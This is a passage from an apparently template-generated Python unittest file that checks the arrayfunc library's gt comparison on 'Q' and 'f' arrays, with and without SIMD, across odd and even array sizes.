self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_Q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_Q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_Q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_f_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_f_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
